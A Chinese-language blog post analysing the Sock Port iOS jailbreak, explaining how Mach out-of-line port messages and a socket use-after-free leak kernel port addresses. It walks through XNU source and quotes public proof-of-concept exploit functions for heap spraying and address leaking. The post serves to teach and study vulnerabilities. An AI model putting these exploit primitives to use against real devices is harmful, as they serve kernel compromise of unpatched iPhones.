iOS Jailbreak Principles - Sock Port 漏洞解析(二)通過 Mach OOL Message 洩露 Port Address

Soulghost發表於2019-11-24

系列文章

  1. iOS Jailbreak Principles - Sock Port 漏洞解析(一)UAF 與 Heap Spraying

前言

在上一篇文章中,我們初步介紹了 UAF 原理,並提到了 iOS 10.0 - 12.2 的 Socket 程式碼中含有一個針對 in6p_outputopts 的 UAF Exploit,它是整個 Sock Port 漏洞的關鍵。從這篇文章開始,我們將逐行分析 Sock Port 2 的 Public PoC 原始碼,並結合 XNU 原始碼進行深入分析和解釋。

Mach port 是什麼

定義

在介紹 Sock Port 之前,我們需要先引入 Mach port 的概念[1]:

Mach ports are a kernel-provided inter-process communication (IPC) mechanism used heavily throughout the operating system. A Mach port is a unidirectional, kernel-protected channel that can have multiple send endpoints and only one receive endpoint.

即 Mach ports 是核心提供的程式間通訊機制,它被作業系統頻繁的使用。一個 Mach port 是一個受核心保護的單向管道,它可以有多個傳送端,但只能有一個接收端。

Mach port 對應的核心物件

Mach port 在使用者態以 mach_port_t 控制程式碼的形式存在,在核心空間中每個 mach_port_t 控制程式碼都有相對應的核心物件 ipc_port

struct ipc_port {
    struct ipc_object ip_object;
    struct ipc_mqueue ip_messages;
    
    union {
    	struct ipc_space *receiver;
    	struct ipc_port *destination;
    	ipc_port_timestamp_t timestamp;
    } data;
    
    union {
    	ipc_kobject_t kobject; // task
    	ipc_importance_task_t imp_task;
    	ipc_port_t sync_inheritor_port;
    	struct knote *sync_inheritor_knote;
    	struct turnstile *sync_inheritor_ts;
    } kdata;
// ...
複製程式碼

其中比較關鍵的是 +0x68 處的 kobject 成員,它是一個 task 物件,根據 Apple 給出的文件:Task 是擁有資源的單位,它包含了虛擬地址空間、mach ports 空間以及執行緒空間[2],它類似於程式的概念,在這裡我們可以簡單地理解為每個程式都有其對應的 Task,核心通過 Task 可以管理程式資源,並通過這種機制實現程式間通訊

核心中的 Task 物件

Task 在核心中的結構如下:

struct task {
    // ...
    /* Virtual address space */
    vm_map_t	map;		/* Address space description */
    queue_chain_t	tasks;	/* global list of tasks */
    
    // ...
    /* Threads in this task */
    queue_head_t		threads;
    
    // ...
    /* Port right namespace */
    struct ipc_space *itk_space;
    
    /* Proc info */
    void *bsd_info;
    // ...
複製程式碼

上述程式碼中的 map, threadsitk_space 分別對應了上述對 Task 擁有的虛擬地址空間、mach ports 名稱空間以及執行緒空間,而 bsd_info 是一個 Proc 物件,它包含了當前程式資訊,例如我們熟悉的 PID

struct	proc {
    LIST_ENTRY(proc) p_list;    /* List of all processes. */
    
    void * 		task;   /* corresponding task (static)*/
    pid_t		p_ppid; /* process's parent pid number */
    // ...
    pid_t		p_pid;  /* Process identifier. (static)*/
    // ...
複製程式碼

Port & Task 與程式的對應關係

在使用者態我們可以通過 mach_task_self_ 變數或是 mach_task_self() 巨集函式拿到當前程式的 Task port,所謂 Task port 即是指包含了該程式對應的 Task 作為其 kobject 的任務埠,擁有該埠即可對相應的程式“為所欲為”。

因此,只要我們能在使用者態獲取到核心的 Task port,就能對核心為所欲為。Sock Port 本質上就是在使用者態偽造了一個合法的核心 Task port(又被稱之為 task_for_pid(0) ,即 tfp0)。

Sock Port 概覽

Sock Port 漏洞通過 Socket in6p_outputopts UAF 主要實現了 3 個 Exploit Primitive:

  1. mach_port 控制程式碼對應的 ipc_port 地址洩露,通過這種方式我們可以拿到應用自身程式的 Task port
  2. 藉助於操作 in6p_outputopts 的成員實現了不穩定的核心記憶體讀取;
  3. 藉助於操作 in6p_outputopts 的成員實現了核心中任意大小 zone 的釋放。

Sock Port 通過組合這些 Primitive,先是通過 Socket UAF 獲得了一個可控的核心地址空間,隨後通過 Mach OOL Message 將這些空間填充成 ipc_port 的地址,最後偷樑換柱的用偽造的 ipc_port 對其進行替換,此時我們能夠得到一個合法、可控的 ipc_port

隨後我們通過讀取自身程式 Task portbsd_info 以及 task_prev 列舉所有程式,直到 pid = 0 我們便拿到了 Kernel Task,從 Kernel Task 中取出 Kernel Map 賦予我們偽造的 ipc_port,此時我們便將偽造的 ipc_port 偽裝成了一個真正的 Kernel Task port

以上是對 Sock Port 的一個概述,詳細的利用過程涉及到 XNU 的諸多知識,且每一步都富含細節,到這裡讀者只需要對該漏洞有個整體認識,在接下來的文章中會一步步分析這些 Primitive 的原理,以及組合 Primitives 實現 tfp0 的詳細過程。

獲取 Port Address 的思路

漏洞的第一個關鍵是獲取到當前程式的 Task port 地址,這也是本文重點分析的內容。常規情況下,在使用者態我們只能拿到 Task port 的控制程式碼,若要拿到地址,有兩個思路:

  1. 洩露當前程式的 port 索引表,並通過控制程式碼查詢 port 的實際地址;
  2. 通過某種方式迫使核心分配 Task port 的指標到我們可讀的核心區域,即 UAF 方式。

事實上當前程式的 port 索引表是被 Task port 所間接引用的,即常規情況下我們需要先知道 Task port address 才能獲取到 port 索引表的位置,因此方式 1 不可行。實現方式 2 的關鍵點有兩個:UAF & 分配 Task port pointer,前者已經通過 Socket UAF 滿足,現在只差後者。

迫使核心分配 Task port pointer

在 Sock Port 中有一段關鍵程式碼,用於為指定的 target port 控制程式碼在核心中分配可控數量的 ipc_port 指標:

// from Ian Beer. make a kernel allocation with the kernel address of 'target_port', 'count' times
mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) {
    mach_port_t q = MACH_PORT_NULL;
    kern_return_t err;
    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
    if (err != KERN_SUCCESS) {
        printf("[-] failed to allocate port\n");
        return 0;
    }
    
    mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
    for (int i = 0; i < count; i++) {
        ports[i] = target_port;
    }
    
    struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg));
    
    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
    msg->hdr.msgh_remote_port = q;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_id = 0x41414141;
    
    msg->body.msgh_descriptor_count = 1;
    
    msg->ool_ports.address = ports;
    msg->ool_ports.count = count;
    msg->ool_ports.deallocate = 0;
    msg->ool_ports.disposition = disposition;
    msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
    
    err = mach_msg(&msg->hdr,
                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                   msg->hdr.msgh_size,
                   0,
                   MACH_PORT_NULL,
                   MACH_MSG_TIMEOUT_NONE,
                   MACH_PORT_NULL);
    
    if (err != KERN_SUCCESS) {
        printf("[-] failed to send message: %s\n", mach_error_string(err));
        return MACH_PORT_NULL;
    }
    
    return q;
}
複製程式碼

這段程式碼所做的事情有三個:

  1. 分配一個接收埠 q 用於接收 Mach OOL Message;
  2. 構造一個 Mach OOL Message,並用想要獲取地址的 target port 填充;
  3. 向接收埠 q 傳送 Mach Message,由於 Mach Message 先經過核心,會在核心中對 OOL Message 進行復制,在複製過程中控制程式碼會被轉為地址

這個地方的一個關鍵是 OOL Message,它是觸發核心複製的關鍵。OOL Message 的全稱是 Out-of-line Message,之所以稱之為 out of line,是因為它的訊息體中包含了 Out-of-line Memory,而 Out-of-line Memory 即接收者虛擬地址空間以外的內容。根據 GNU Doc,Out-of-line Memory 會在接受者的空間進行 copyin 操作,有意思的事情在於如果 out-of-line 的是 mach_port 控制程式碼,在 copy 時會將其轉換為控制程式碼對應的 ipc_port 的地址

到這裡我們已經瞭解了通過 OOL Message 迫使核心分配 port address 的方法,但知其然就要知其所以然,接下來我們從 XNU 原始碼入手分析著這整個過程。

從 XNU 原始碼分析 Mach OOL Message

筆者分析使用的 XNU 版本為 xnu-4903.221.2,分析時所在的 commit hash 為 a449c6a3b8014d9406c2ddbdc81795da24aa7443。

我們直接從傳送訊息的 mach_msg 函式入手分析,打斷點可知 mach_msg 最終會呼叫到核心的 mach_msg_trap 函式,我們開啟 XNU 原始碼可以看到 mach_msg_trap 其實是對 mach_msg_overwrite_trap 的簡單封裝:

mach_msg_return_t
mach_msg_trap(
	struct mach_msg_overwrite_trap_args *args)
{
    kern_return_t kr;
    args->rcv_msg = (mach_vm_address_t)0;
    
    kr = mach_msg_overwrite_trap(args);
    return kr;
}
複製程式碼

接下來我們去看 mach_msg_overwrite_trap 函式,首先看到函式的開頭:

mach_msg_return_t
mach_msg_overwrite_trap(
	struct mach_msg_overwrite_trap_args *args)
{
    mach_vm_address_t	msg_addr = args->msg;
    mach_msg_option_t	option = args->option;
    mach_msg_size_t	send_size = args->send_size;
    mach_msg_size_t	rcv_size = args->rcv_size;
    mach_port_name_t	rcv_name = args->rcv_name;
    mach_msg_timeout_t	msg_timeout = args->timeout;
    mach_msg_priority_t override = args->override;
    mach_vm_address_t	rcv_msg_addr = args->rcv_msg;
    __unused mach_port_seqno_t temp_seqno = 0;
    
    mach_msg_return_t  mr = MACH_MSG_SUCCESS;
    vm_map_t map = current_map();
    
    /* Only accept options allowed by the user */
    option &= MACH_MSG_OPTION_USER;
    
    if (option & MACH_SEND_MSG) {
        // ...
    }
    
    if (option & MACH_RCV_MSG) {
        // ...
    }
    
    // ...
複製程式碼

先是從 args 中解出使用者態傳入的引數,隨後準備了後續處理所需的環境,接下來的程式碼是對 option 的判斷,可見收發訊息共用了一個函式,由於我們傳入的 option 包含了 MACH_SEND_MSG,接下來會走到訊息傳送的分支邏輯:

if (option & MACH_SEND_MSG) {
    ipc_space_t space = current_space();
    ipc_kmsg_t kmsg;
    
    // 1. create kmsg and copy header
    mr = ipc_kmsg_get(msg_addr, send_size, &kmsg);
    
    if (mr != MACH_MSG_SUCCESS) {
    	return mr;
    }
    
    // 2. copy body
    mr = ipc_kmsg_copyin(kmsg, space, map, override, &option);
    
    if (mr != MACH_MSG_SUCCESS) {
    	ipc_kmsg_free(kmsg);
    	return mr;
    }
    
    // 3. send message
    mr = ipc_kmsg_send(kmsg, option, msg_timeout);
    
    if (mr != MACH_MSG_SUCCESS) {
    	mr |= ipc_kmsg_copyout_pseudo(kmsg, space, map, MACH_MSG_BODY_NULL);
    	(void) ipc_kmsg_put(kmsg, option, msg_addr, send_size, 0, NULL);
    	return mr;
    }
}
複製程式碼

在訊息傳送的分支邏輯中有三個關鍵步驟:

  1. 通過 mach message 建立一個 kmsg,kmsg 是 mach message 在核心中的資料結構;
  2. 將 mach message body 複製到 kmsg 中;
  3. 傳送 kmsg。

下面我們將詳細講解前兩個步驟,他們是整個 Mach OOL Message Spraying 的關鍵:

構造 kmsg

核心通過呼叫 ipc_kmsg_get 實現了 kmsg 構造,下面是 ipc_kmsg_get 去除了 debug 資訊與一些判斷邏輯外的全貌:

mach_msg_return_t
ipc_kmsg_get(
    mach_vm_address_t	msg_addr, // user space mach_msg_addr
    mach_msg_size_t	size, // send size = mach_msg_hdr->msgh_size = sizeof(mach_msg)
    ipc_kmsg_t		*kmsgp) // kmsg to return
{
    mach_msg_size_t		msg_and_trailer_size;
    ipc_kmsg_t 			kmsg;
    mach_msg_max_trailer_t	*trailer;
    mach_msg_legacy_base_t      legacy_base;
    mach_msg_size_t             len_copied;
    legacy_base.body.msgh_descriptor_count = 0;
    
    // 1. copy mach header & body to kernel legacy_base
    len_copied = sizeof(mach_msg_legacy_base_t);
    if (copyinmsg(msg_addr, (char *)&legacy_base, len_copied))
    	return MACH_SEND_INVALID_DATA;
    
    msg_addr += sizeof(legacy_base.header);
    // arm64 fixup
    size += LEGACY_HEADER_SIZE_DELTA;
    
    // 2. create a kmsg
    msg_and_trailer_size = size + MAX_TRAILER_SIZE;
    kmsg = ipc_kmsg_alloc(msg_and_trailer_size);
    if (kmsg == IKM_NULL)
    	return MACH_SEND_NO_BUFFER;
    
    // 2.1 init kernel mach_header
    kmsg->ikm_header->msgh_size	= size;
    kmsg->ikm_header->msgh_bits = legacy_base.header.msgh_bits;
    kmsg->ikm_header->msgh_remote_port = CAST_MACH_NAME_TO_PORT(legacy_base.header.msgh_remote_port);
    kmsg->ikm_header->msgh_local_port = CAST_MACH_NAME_TO_PORT(legacy_base.header.msgh_local_port);
    kmsg->ikm_header->msgh_voucher_port = legacy_base.header.msgh_voucher_port;
    kmsg->ikm_header->msgh_id = legacy_base.header.msgh_id;
    
    // 3. copy userspace mach body to kernel
    if (copyinmsg(msg_addr, (char *)(kmsg->ikm_header + 1), size - (mach_msg_size_t)sizeof(mach_msg_header_t))) {
    	ipc_kmsg_free(kmsg);
    	return MACH_SEND_INVALID_DATA;
    }
    
    // 4. init kmsg trailer
    trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
    trailer->msgh_sender = current_thread()->task->sec_token;
    trailer->msgh_audit = current_thread()->task->audit_token;
    trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
    trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
    trailer->msgh_labels.sender = 0;
    
    *kmsgp = kmsg;
    return MACH_MSG_SUCCESS;
}
複製程式碼

整個 kmsg 的構造過程較為複雜,主要包含了 4 步:

  1. 在核心中新建一個 mach_msg_legacy_base_t 物件,它實際上是一個 mach_message 的基本結構,隨後將使用者空間的 mach header 和 body 通過 copyinmsg 複製到 mach_msg_legacy_base_t 物件,主要目的是在方便在核心中獲取訊息的 mach 資料結構;
typedef struct
{
    mach_msg_legacy_header_t    header;
    mach_msg_body_t             body;
} mach_msg_legacy_base_t;
複製程式碼
  1. 建立一個 kmsg 資料結構,kmsg 包含了 mach 訊息的全部資料,幷包含了額外的 buffer 來相容 64 位系統向 32 位系統傳送訊息的情況;
  2. 將使用者空間的 mach 訊息體拷貝到 kmsg;
  3. 初始化 kmsg 的 trailler,trailler 是一個位於 kmsg 尾部的變長資料結構,用於攜帶一些額外資訊。

這部分最複雜的部分是第 2 步 kmsg 的建立,其複雜性在於對整個 kmsg 空間的構造,涉及大量的地址與尺寸計算,由於整個過程十分冗長無聊,這裡直接給出結論,有興趣的讀者可以順著方法自己構造一遍整個 kmsg 資料體。

/***
 *  |-kmsg(84)-|---body(60)---|-mach_msg_hdr(24)-|-mach_msg_body(4)-|-descriptor(16)-|-trailer(0x44)-|
 *      |                       ^
 *      |                       |
 *   ikm_header ----------------|
 */
複製程式碼

可見使用者空間傳送的 mach message 結構被放置在了 kmsg body 後面,包含 header, body 和 descriptor 三部分,隨後跟著一個 trailer。

事實上,body 區域是被預留的,用於處理 kmsg 無法完整容納下 descriptor 的情況,這一點在 ipc_kmsg_alloc 開頭的註釋中可以看到:

/*
 * LP64support -
 * Pad the allocation in case we need to expand the
 * message descrptors for user spaces with pointers larger than
 * the kernel's own, or vice versa.  We don't know how many descriptors
 * there are yet, so just assume the whole body could be
 * descriptors (if there could be any at all).
 *
 * The expansion space is left in front of the header,
 * because it is easier to pull the header and descriptors
 * forward as we process them than it is to push all the
 * data backwards.
 */
複製程式碼

即當使用者空間的 descriptor 比核心空間大時,我們可以將 kmsg 從 mach_msg_header 開始整體左移,為 descriptor 空出空間。之所以在左側預留空間是因為 kmsg 後面的記憶體空間可能已被佔用,將 header 向前拉要比向後推動要更簡單。

將使用者空間的 mach message 剩餘部分複製到 kmsg

構造好了 kmsg 以後,我們只完成了 header 和 body 的複製,其中 body 包含了 descriptor 的資訊,接下來的工作是通過 ipc_kmsg_copyin 函式賦值餘下的部分,併為 OOL Message 中的 OOL Memory 轉化為 in-line memory。

我們先來看 ipc_kmsg_copyin 的實現:

mach_msg_return_t
ipc_kmsg_copyin(
	ipc_kmsg_t		kmsg,
	ipc_space_t		space,
	vm_map_t		map,
	mach_msg_priority_t     override,
	mach_msg_option_t	*optionp)
{
    mach_msg_return_t mr;
    
    kmsg->ikm_header->msgh_bits &= MACH_MSGH_BITS_USER;
    
    // 1. copy header rights
    mr = ipc_kmsg_copyin_header(kmsg, space, override, optionp);
    
    if (mr != MACH_MSG_SUCCESS)
    return mr;
    
    if ((kmsg->ikm_header->msgh_bits & MACH_MSGH_BITS_COMPLEX) == 0)
        return MACH_MSG_SUCCESS;
    
    // 2. copy body
    mr = ipc_kmsg_copyin_body(kmsg, space, map, optionp);
    
    return mr;
}
複製程式碼

這裡主要包含兩個步驟:

  1. 複製使用者空間的 mach message rights 到 kmsg,這裡的 rights 指的是 port 的傳送和接收能力;
  2. 複製 descriptor 到 kmsg,並根據 descriptor 對 OOL Memory 建立相應的核心空間完成地址空間的轉換。

這裡重點講一下步驟 2,它是能迫使核心完成從 port 控制程式碼到 port address 轉換和指標分配的關鍵,下面是筆者在 arm64 和 上述 OOL Message 方式呼叫條件下去掉一些邊界判斷後精簡的 ipc_kmsg_copyin_body 內容:

mach_msg_return_t
ipc_kmsg_copyin_body(
	ipc_kmsg_t	kmsg,
	ipc_space_t	space,
	vm_map_t    map,
	mach_msg_option_t *optionp)
{
    ipc_object_t dest;
    mach_msg_body_t	*body;
    mach_msg_descriptor_t *user_addr, *kern_addr;
    mach_msg_type_number_t dsc_count;
    boolean_t is_task_64bit = (map->max_offset > VM_MAX_ADDRESS);
    boolean_t complex = FALSE;
    vm_size_t space_needed = 0;
    vm_offset_t	paddr = 0;
    vm_map_copy_t copy = VM_MAP_COPY_NULL;
    mach_msg_type_number_t i;
    mach_msg_return_t mr = MACH_MSG_SUCCESS;
    
    // 1. init descriptor size
    vm_size_t descriptor_size = 0;
    
    dest = (ipc_object_t) kmsg->ikm_header->msgh_remote_port;
    body = (mach_msg_body_t *) (kmsg->ikm_header + 1);
    dsc_count = body->msgh_descriptor_count;
    
    /*
     * Make an initial pass to determine kernal VM space requirements for
     * physical copies and possible contraction of the descriptors from
     * processes with pointers larger than the kernel's.
     */
    daddr = NULL;
    for (i = 0; i < dsc_count; i++) {
        /* make sure the descriptor fits in the message */
        descriptor_size += 16;
    }
    
    /*
     * Allocate space in the pageable kernel ipc copy map for all the
     * ool data that is to be physically copied.  Map is marked wait for
     * space.
     */
    if (space_needed) {
        if (vm_allocate_kernel(ipc_kernel_copy_map, &paddr, space_needed,
                    VM_FLAGS_ANYWHERE, VM_KERN_MEMORY_IPC) != KERN_SUCCESS) {
            mr = MACH_MSG_VM_KERNEL;
            goto clean_message;
        }
    }
    
    /* user_addr = just after base as it was copied in */
    user_addr = (mach_msg_descriptor_t *)((vm_offset_t)kmsg->ikm_header + sizeof(mach_msg_base_t));
    
    // 2. pull header forward if needed
    /* Shift the mach_msg_base_t down to make room for dsc_count*16bytes of descriptors */
    if (descriptor_size != 16 * dsc_count) {
        vm_offset_t dsc_adjust = 16 * dsc_count - descriptor_size;
        memmove((char *)(((vm_offset_t)kmsg->ikm_header) - dsc_adjust), kmsg->ikm_header, sizeof(mach_msg_base_t));
        kmsg->ikm_header = (mach_msg_header_t *)((vm_offset_t)kmsg->ikm_header - dsc_adjust);
        /* Update the message size for the larger in-kernel representation */
        kmsg->ikm_header->msgh_size += (mach_msg_size_t)dsc_adjust;
    }
    
    /* kern_addr = just after base after it has been (conditionally) moved */
    kern_addr = (mach_msg_descriptor_t *)((vm_offset_t)kmsg->ikm_header + sizeof(mach_msg_base_t));
    
    // 3. copy ool ports to kernel zone
    /* handle the OOL regions and port descriptors. */
    for (i = 0; i < dsc_count; i++) {
        user_addr = ipc_kmsg_copyin_ool_ports_descriptor((mach_msg_ool_ports_descriptor_t *)kern_addr, 
    			            user_addr, is_task_64bit, map, space, dest, kmsg, optionp, &mr);
        kern_addr++;
        complex = TRUE;    
    }
    
    if (!complex) {
        kmsg->ikm_header->msgh_bits &= ~MACH_MSGH_BITS_COMPLEX;
    }
    
    return mr;
複製程式碼

這個函式較為複雜,筆者在其中用註釋標出了 3 個關鍵步驟:

  1. 初始化 descriptor size,它是 mach_msg_ool_ports_descriptor_t 的使用者空間大小;
  2. 如果發現 kmsg 容納不了使用者空間的 mach_msg_ool_ports_descriptor_t,將 kmsg 從 header 開始整體往前移動,為 descriptor 留下足夠的空間,這與上文中提到的 kmsg body expand size 描述一致;
  3. 將 ool ports 拷貝到核心地址空間,這其中包含了從 port 控制程式碼到 ipc_port address 的轉換。

由於我們的 body 只包含了一個 descriptor,且使用者空間尺寸與核心空間中一致,因此不需要 pull header forward,接下來我們終於來到了本文的重頭戲:ool ports 轉換。

port 控制程式碼到地址的轉換是通過呼叫 ipc_kmsg_copyin_ool_ports_descriptor 函式完成的,下面我們看一下該函式的實現:

mach_msg_descriptor_t *
ipc_kmsg_copyin_ool_ports_descriptor(
	mach_msg_ool_ports_descriptor_t *dsc,
	mach_msg_descriptor_t *user_dsc,
	int is_64bit,
	vm_map_t map,
	ipc_space_t space,
	ipc_object_t dest,
	ipc_kmsg_t kmsg,
	mach_msg_option_t *optionp,
	mach_msg_return_t *mr)
{
    void *data;
    ipc_object_t *objects;
    unsigned int i;
    mach_vm_offset_t addr;
    mach_msg_type_name_t user_disp;
    mach_msg_type_name_t result_disp;
    mach_msg_type_number_t count;
    mach_msg_copy_options_t copy_option;
    boolean_t deallocate;
    mach_msg_descriptor_type_t type;
    vm_size_t ports_length, names_length;
    
    mach_msg_ool_ports_descriptor64_t *user_ool_dsc = (typeof(user_ool_dsc))user_dsc;
    addr = (mach_vm_offset_t)user_ool_dsc->address;
    count = user_ool_dsc->count;
    deallocate = user_ool_dsc->deallocate;
    copy_option = user_ool_dsc->copy;
    user_disp = user_ool_dsc->disposition;
    type = user_ool_dsc->type;
    
    user_dsc = (typeof(user_dsc))(user_ool_dsc+1);
    
    dsc->deallocate = deallocate;
    dsc->copy = copy_option;
    dsc->type = type;
    dsc->count = count;
    dsc->address = NULL;  /* for now */
    
    result_disp = ipc_object_copyin_type(user_disp);
    dsc->disposition = result_disp;
    
    // 1. calculate port_pointers length and port_names length
    /* calculate length of data in bytes, rounding up */
    if (os_mul_overflow(count, sizeof(mach_port_t), &ports_length)) {
        *mr = MACH_SEND_TOO_LARGE;
        return NULL;
    }
    if (os_mul_overflow(count, sizeof(mach_port_name_t), &names_length)) {
        *mr = MACH_SEND_TOO_LARGE;
        return NULL;
    }
    
    // 2. alloc kenrel zone for port pointers
    data = kalloc(ports_length);
    mach_port_name_t *names = &((mach_port_name_t *)data)[count];
    if (copyinmap(map, addr, names, names_length) != KERN_SUCCESS) {
        kfree(data, ports_length);
        *mr = MACH_SEND_INVALID_MEMORY;
        return NULL;
    }
    
    if (deallocate) {
        (void) mach_vm_deallocate(map, addr, (mach_vm_size_t)ports_length);
    }
    
    objects = (ipc_object_t *) data;
    // 3. 替換 ool address 為 kernel address
    dsc->address = data;
    
    for ( i = 0; i < count; i++) {
        mach_port_name_t name = names[i];
        ipc_object_t object;
    
        if (!MACH_PORT_VALID(name)) {
            objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);
            continue;
        }
        
        // 4. convert port_name to port_addr
        kern_return_t kr = ipc_object_copyin(space, name, user_disp, &object);
    
        if (kr != KERN_SUCCESS) {
            unsigned int j;
    
            for(j = 0; j < i; j++) {
                object = objects[j];
                if (IPC_OBJECT_VALID(object))
                    ipc_object_destroy(object, result_disp);
            }
            kfree(data, ports_length);
            dsc->address = NULL;
    		if ((*optionp & MACH_SEND_KERNEL) == 0) {
    			mach_port_guard_exception(name, 0, 0, kGUARD_EXC_SEND_INVALID_RIGHT);
    		}
            *mr = MACH_SEND_INVALID_RIGHT;
            return NULL;
        }
    
        if ((dsc->disposition == MACH_MSG_TYPE_PORT_RECEIVE) &&
                ipc_port_check_circularity(
                    (ipc_port_t) object,
                    (ipc_port_t) dest))
            kmsg->ikm_header->msgh_bits |= MACH_MSGH_BITS_CIRCULAR;
    
        objects[i] = object;
    }
    
    return user_dsc;
}
複製程式碼

這段程式碼同樣十分複雜,筆者在其中標出了 4 個關鍵步驟:

  1. 計算 ipc_port pointer 所需要的空間大小,以及使用者空間中 mach_port 控制程式碼陣列的大小;
  2. 在核心中分配空間用於容納從控制程式碼陣列轉換而來的 ipc_port pointer 陣列,這個地方的 ports_length 有些費解,理論上應該計算 count * sizeof(mach_port_t *),如果採用 count * sizeof(mach_port_t) 作為 kalloc 引數如何能裝下 pointers 呢?是不是 kalloc 有一些特殊的記憶體分配規則,望高人指點;
  3. 替換 kmsg 中的 ool address 為步驟 2 中分配的 kernel address;
  4. 完成從 port 控制程式碼到 port address 的轉換。

這其中的重點是步驟 4,它通過呼叫 ipc_object_copyin 將一個控制程式碼轉化為 ipc_port pointer,我們來看它的實現:

kern_return_t
ipc_object_copyin(
	ipc_space_t		space,
	mach_port_name_t	name,
	mach_msg_type_name_t	msgt_name,
	ipc_object_t		*objectp)
{
    ipc_entry_t entry;
    ipc_port_t soright;
    ipc_port_t release_port;
    kern_return_t kr;
    int assertcnt = 0;

    // 1. find port in is_table
    kr = ipc_right_lookup_write(space, name, &entry);
    if (kr != KERN_SUCCESS)
        return kr;
    
    release_port = IP_NULL;
    // 2. copy to kernel ipc_object
    kr = ipc_right_copyin(space, name, entry,
    		      msgt_name, TRUE,
    		      objectp, &soright,
    		      &release_port,
    		      &assertcnt);
    // ...
    
    return kr;
}
複製程式碼

這裡主要有兩個關鍵步驟:

  1. 在當前 IPC Space 的 port 索引表中根據 port_name 獲取到 port address;
  2. 將 port right 拷貝到核心中的 ipc_object 物件返回。

這裡的關鍵是第 1 步,它通過 ipc_right_lookup_write 實現了控制程式碼到地址的轉換,它是對 ipc_entry_lookup 的封裝,我們直接看後者的實現:

ipc_entry_t
ipc_entry_lookup(
	ipc_space_t		space,
	mach_port_name_t	name)
{
    mach_port_index_t index;
    ipc_entry_t entry;
    
    assert(is_active(space));
    
    // 1. get index from port name
    index = name >> 8;
    if (index <  space->is_table_size) {
        // 2. get port address by index from is_table
        entry = &space->is_table[index];
    	if (IE_BITS_GEN(entry->ie_bits) != MACH_PORT_GEN(name) ||
    	    IE_BITS_TYPE(entry->ie_bits) == MACH_PORT_TYPE_NONE) {
    		entry = IE_NULL;		
    	}
    }
    else {
    	entry = IE_NULL;
    }
    
    assert((entry == IE_NULL) || IE_BITS_TYPE(entry->ie_bits));
    return entry;
}
複製程式碼

從這裡我們可以看到,port 控制程式碼中的索引資訊是從第 8 位開始的,因此將 port name 右移 8 位即可得到 port index,隨後在索引表中查詢地址返回。

到這裡我們已經全然明白了為何能通過傳送 Mach OOL Message 實現迫使核心分配指定 port 的 ipc_port pointers 的原理,接下來我們著手分析如何獲取到這個地址。

通過 OOL Message 與 Socket UAF 獲取 Port Address

到這裡思路變得十分明確,我們只需要利用 Socket UAF 得到一塊已釋放區域,然後傳送大量的 OOL Message 訊息,且使得 port 陣列與被釋放區域大小一致,即可通過 Heap Spraying 將 ipc_port pointer 陣列分配在已釋放區域,下面我們來看 Sock Port 中的這段程式碼:

// first primitive: leak the kernel address of a mach port
uint64_t find_port_via_uaf(mach_port_t port, int disposition) {
    // here we use the uaf as an info leak
    // 1. make dangling socket option zone
    int sock = get_socket_with_dangling_options();
    
    for (int i = 0; i < 0x10000; i++) {
        // since the UAFd field is 192 bytes, we need 192/sizeof(uint64_t) pointers
        
        // 2. send ool message
        mach_port_t p = fill_kalloc_with_port_pointer(port, 192/sizeof(uint64_t), MACH_MSG_TYPE_COPY_SEND);
        
        int mtu;
        int pref;
        
        // 3. get option and check if it is a kernel pointer
        get_minmtu(sock, &mtu); // this is like doing rk32(options + 180);
        get_prefertempaddr(sock, &pref); // this like rk32(options + 184);
        
        // since we wrote 192/sizeof(uint64_t) pointers, reading like this would give us the second half of rk64(options + 184) and the fist half of rk64(options + 176)
        
        /*  from a hex dump:
         
         (lldb) p/x HexDump(options, 192)
         XX XX XX XX F0 FF FF FF  XX XX XX XX F0 FF FF FF  |  ................
         ...
         XX XX XX XX F0 FF FF FF  XX XX XX XX F0 FF FF FF  |  ................
                    |-----------||-----------|
                     minmtu here prefertempaddr here
         */
        
        // the ANDing here is done because for some reason stuff got wrong. say pref = 0xdeadbeef and mtu = 0, ptr would come up as 0xffffffffdeadbeef instead of 0x00000000deadbeef. I spent a day figuring out what was messing things up
        
        uint64_t ptr = (((uint64_t)mtu << 32) & 0xffffffff00000000) | ((uint64_t)pref & 0x00000000ffffffff);
        
        if (mtu >= 0xffffff00 && mtu != 0xffffffff && pref != 0xdeadbeef) {
            mach_port_destroy(mach_task_self(), p);
            close(sock);
            return ptr;
        }
        mach_port_destroy(mach_task_self(), p);
    }
    
    // close that socket.
    close(sock);
    return 0;
}
複製程式碼

這裡有 4 個關鍵步驟:

  1. 利用 Socket UAF 製造一個 in6p_outputopts 大小的已釋放區域,詳細過程可以看上一篇文章:iOS Jailbreak Principles - Sock Port 漏洞解析(一)UAF 與 Heap SprayingSock Port Write-up
  2. 傳送 ool message,由於 in6p_outputopts 的大小為 192B,一個 port pointer 大小為 8B,因此我們需要傳送 192 / 8 = 24 個 ool_ports;
  3. 通過 in6p_outputopts 兩個連續的成員變數拼接出一個 64 位地址;
  4. 判斷步驟 3 中得到的地址是否是核心物件指標,如果是核心物件指標,說明我們成功了,該地址就是 target port 的地址。

這裡我們重點講一下第 3、4 步:

通過 Socket Option 讀取一個 8B 區域

根據 in6p_outputopts 對應的結構體:

struct	ip6_pktopts {
    struct	mbuf *ip6po_m;	
    int	        ip6po_hlim;	
    struct	in6_pktinfo *ip6po_pktinfo;
    struct	ip6po_nhinfo ip6po_nhinfo;
    struct	ip6_hbh *ip6po_hbh; 
    struct	ip6_dest *ip6po_dest1;
    struct	ip6po_rhinfo ip6po_rhinfo;
    struct	ip6_dest *ip6po_dest2;
    int	ip6po_tclass;
    int	ip6po_minmtu; // +180
    int	ip6po_prefer_tempaddr; // + 184
    int ip6po_flags;
};
複製程式碼

